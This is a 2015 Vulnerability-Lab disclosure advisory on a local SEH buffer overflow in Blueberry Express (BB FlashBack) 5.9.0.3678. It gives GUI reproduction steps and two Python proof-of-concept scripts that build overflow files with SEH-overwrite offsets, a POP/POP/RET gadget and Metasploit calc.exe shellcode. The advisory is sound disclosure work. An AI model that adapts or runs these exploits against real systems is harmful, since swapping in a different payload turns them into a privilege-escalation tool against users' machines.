Document Title: =============== Blueberry Express v5.9.x - SEH Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1535 Video: http://www.vulnerability-lab.com/get_content.php?id=1537 Release Date: ============= 2015-06-29 Vulnerability Laboratory ID (VL-ID): ==================================== 1535 Common Vulnerability Scoring System: ==================================== 6.4 Product & Service Introduction: =============================== Create engaging movies by adding text, sound and images to your screen recording. Make sure your audience doesn`t miss a thing with easy-to-use Zoom-Pan and AutoScroll effects. Create polished tutorials and presentations with the help of powerful editing functions. Do it the easy way with BB FlashBack screen recorder. Its never been easier for everyone to see your movies. BB FlashBack screen recorder shares with FlashBack Connect or Youtube to display your movies on all devices.(FlashBack Connect is currently in Beta, and available only to Pro and Standard edition purchasers). (Copy of the Vendor Homepage: http://www.bbsoftware.co.uk/bbflashback.aspx ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a local seh buffer overflow vulnerability in the official Blueberry Express v5.9.0.3678 software. Vulnerability Disclosure Timeline: ================================== 2015-06-29: Researcher Notification & Coordination (Ateeq Khan) Discovery Status: ================= Published Affected Product(s): ==================== Blueberry Software Product: Blueberry Express - Software 5.9.0.3678 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local SEH Buffer Overflow vulnerability has been discovered in the official Blueberry Express v5.9.0.3678 software. The vulnerability allows local or remote attacker to gain higher system or access privileges by exploitation of a classic seh buffer overflow vulnerability. The local SEH Buffer Overflow affects multiple products including the BBFlashBack Recorder, Batch Export etc. Other products using similar modules might also be affected. The vulnerability can be exploited by local attackers with low privilege system user account. The attacker vector of the issue is server-side and the request method to execute the shellcode is local. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Successful exploitation of this vulnerability results in complete compromise of the affected machine and system process. Proof of Concept (PoC): ======================= The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. POC Description: For POC, the researcher installed the software with admin privileges on a windows system (allowed to run for all users), while application still running in the background, logged off and logged in with a different (low privileged) user. Exploited the vulnerability successfully hence giving the researcher a system shell with elevated admin privileges. Privilege escalation is possible in this scenario. Malwares wont be able to exploit this vulnerability remotely as this is a Local exploit. Manual steps to reproduce the vulnerability ... 1) Run BB Flashback Express Recorder 2) Goto TOOLS > OPTIONS > MISC 3) Click on "Use custom folder" under the Temp Folder module 4) Copy / Paste the POC binary code (record.txt) into the input field of custom folder 5) Click OK Note: Calculator should popup hence proving the existence of this vulnerability PoC: Exploitcode # Exploit Title: Blueberry Express Recorder SEH based buffer overflow (Local) Exploit # Discovered by: Ateeq Khan - @ohtheITguy (http://www.vulnerability-lab.com/) # Windows Calc.exe Shellcode - Metasploit shellcode = ("\xda\xdb\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x32\xb8\x6e\xb9\xe3" "\x05\x31\x43\x17\x83\xc3\x04\x03\x2d\xaa\x01\xf0\x4d\x24\x4c" "\xfb\xad\xb5\x2f\x75\x48\x84\x7d\xe1\x19\xb5\xb1\x61\x4f\x36" "\x39\x27\x7b\xcd\x4f\xe0\x8c\x66\xe5\xd6\xa3\x77\xcb\xd6\x6f" "\xbb\x4d\xab\x6d\xe8\xad\x92\xbe\xfd\xac\xd3\xa2\x0e\xfc\x8c" "\xa9\xbd\x11\xb8\xef\x7d\x13\x6e\x64\x3d\x6b\x0b\xba\xca\xc1" "\x12\xea\x63\x5d\x5c\x12\x0f\x39\x7d\x23\xdc\x59\x41\x6a\x69" "\xa9\x31\x6d\xbb\xe3\xba\x5c\x83\xa8\x84\x51\x0e\xb0\xc1\x55" "\xf1\xc7\x39\xa6\x8c\xdf\xf9\xd5\x4a\x55\x1c\x7d\x18\xcd\xc4" "\x7c\xcd\x88\x8f\x72\xba\xdf\xc8\x96\x3d\x33\x63\xa2\xb6\xb2" "\xa4\x23\x8c\x90\x60\x68\x56\xb8\x31\xd4\x39\xc5\x22\xb0\xe6" "\x63\x28\x52\xf2\x12\x73\x38\x05\x96\x09\x05\x05\xa8\x11\x25" "\x6e\x99\x9a\xaa\xe9\x26\x49\x8f\x06\x6d\xd0\xb9\x8e\x28\x80" "\xf8\xd2\xca\x7e\x3e\xeb\x48\x8b\xbe\x08\x50\xfe\xbb\x55\xd6" "\x12\xb1\xc6\xb3\x14\x66\xe6\x91\x76\xe9\x74\x79\x79") push="\x90" * 288 # Starting offset nseh="\xeb\x06\x90\x90" # Short jump seh="\xf3\x43\x10\x40" # POP/POP/RET - [vcl60.bpl] [NoSafeSEH] nopsled="\x90" * 30 # NOPsled print "Creating expoit file" f=open("recorder.txt","w") try: f.write(push+nseh+seh+nopsled+shellcode) f.close() print "File created" except: print "File cannot be created" PoC#2: Exploitcode # Exploit Title: Blueberry Express Batch Export SEH based buffer overflow (Local) # Discovered by: Ateeq Khan - @ohtheITguy (http://www.vulnerability-lab.com/) print "Creating expoit file" f=open("batch.txt","w") #Create the file # Windows Calc.exe Shellcode - Metasploit shellcode = ("\xda\xdb\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x32\xb8\x6e\xb9\xe3" "\x05\x31\x43\x17\x83\xc3\x04\x03\x2d\xaa\x01\xf0\x4d\x24\x4c" "\xfb\xad\xb5\x2f\x75\x48\x84\x7d\xe1\x19\xb5\xb1\x61\x4f\x36" "\x39\x27\x7b\xcd\x4f\xe0\x8c\x66\xe5\xd6\xa3\x77\xcb\xd6\x6f" "\xbb\x4d\xab\x6d\xe8\xad\x92\xbe\xfd\xac\xd3\xa2\x0e\xfc\x8c" "\xa9\xbd\x11\xb8\xef\x7d\x13\x6e\x64\x3d\x6b\x0b\xba\xca\xc1" "\x12\xea\x63\x5d\x5c\x12\x0f\x39\x7d\x23\xdc\x59\x41\x6a\x69" "\xa9\x31\x6d\xbb\xe3\xba\x5c\x83\xa8\x84\x51\x0e\xb0\xc1\x55" "\xf1\xc7\x39\xa6\x8c\xdf\xf9\xd5\x4a\x55\x1c\x7d\x18\xcd\xc4" "\x7c\xcd\x88\x8f\x72\xba\xdf\xc8\x96\x3d\x33\x63\xa2\xb6\xb2" "\xa4\x23\x8c\x90\x60\x68\x56\xb8\x31\xd4\x39\xc5\x22\xb0\xe6" "\x63\x28\x52\xf2\x12\x73\x38\x05\x96\x09\x05\x05\xa8\x11\x25" "\x6e\x99\x9a\xaa\xe9\x26\x49\x8f\x06\x6d\xd0\xb9\x8e\x28\x80" "\xf8\xd2\xca\x7e\x3e\xeb\x48\x8b\xbe\x08\x50\xfe\xbb\x55\xd6" "\x12\xb1\xc6\xb3\x14\x66\xe6\x91\x76\xe9\x74\x79\x79") push="\x90" * 6596 # Starting offset nseh="\xeb\x06\x90\x90" # Short jump seh="\xf3\x43\x10\x40" # POP/POP/RET - [vcl60.bpl] [NoSafeSEH] nopsled="\x90" * 30 # NOPsled try: f.write(push+nseh+seh+nopsled+shellcode) f.close() print "File created" except: print "File cannot be created" Reference(s): http://www.bbsoftware.co.uk/ http://www.bbsoftware.co.uk/bbflashback/download.aspx Security Risk: ============== The security risk of the local seh buffer overflow software vulnerability is estimated as high. (CVSS 6.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Ateeq Khan (Ateeq () evolution-sec com) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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